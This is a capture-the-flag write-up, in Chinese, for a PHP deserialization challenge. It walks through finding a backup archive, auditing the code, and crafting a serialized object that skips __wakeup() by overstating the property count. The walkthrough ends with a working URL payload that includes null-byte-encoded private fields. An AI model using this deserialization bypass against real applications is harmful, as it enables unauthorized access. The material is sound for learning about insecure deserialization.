__wakeup()绕过
在反序列化字符串时,属性个数的值大于实际属性个数时,会跳过 __wakeup()函数的执行
1.目录扫描
访问题目连接根据提示猜测可能存在信息泄露,我们扫描目录发现备份文件:www.zip,发现备份文件为源代码
2.代码审计
在index.php中找到php代码
<?phpinclude 'class.php';$select = $_GET['select'];$res=unserialize(@$select);?>
这里包含了class.php文件,用GET方法传入参数select的值,然后反序列化该值,猜测此题与反序列化漏洞有关
接着审class.php
<?phpinclude 'flag.php';error_reporting(0);class Name{ private $username = 'nonono'; private $password = 'yesyes'; public function __construct($username,$password){ $this->username = $username; $this->password = $password; } function __wakeup(){ $this->username = 'guest'; } function __destruct(){ if ($this->password != 100) { echo "</br>NO!!!hacker!!!</br>"; echo "You name is: "; echo $this->username;echo "</br>"; echo "You password is: "; echo $this->password;echo "</br>"; die(); } if ($this->username === 'admin') { global $flag; echo $flag; }else{ echo "</br>hello my friend~~</br>sorry i can't give you the flag!"; die(); } }}?>
如果password=100,username=admin,在调用__destruct()时就可以获得flag,因此我们需要构造一个序列化使得password=100,username=admin
<?phpclass Name{ private $username = 'nonono'; private $password = 'yesyes'; public function __construct($username,$password){ $this->username = $username; $this->password = $password; }}$a = new Name('admin', 100);$b = serialize($a);echo $b;?>
得到序列化后的结合
O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
3.绕过__wakeup()
__wakeup()方法中$this->username = ‘guest‘会让username重新赋值。在反序列化字符串时,属性个数的值大于实际属性个数时,会跳过 __wakeup()函数的执行,我们可以将字符串中O:4:"Name"后面的2改为3及以上的整数
O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
注意该类中使用的private来声明字段,private在序列化中类名和字段名前都要加上ASCII 码为 0 的字符(不可见字符),如果我们直接复制结果,该空白字符会丢失,需要我们自己加上
O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
将该字符串作为select参数的值,GET方式发送过去就可以获得flag
http://题目链接/?select=O:4:%22Name%22:3:{s:14:%22%00Name%00username%22;s:5:%22admin%22;s:14:%22%00Name%00password%22;i:100;}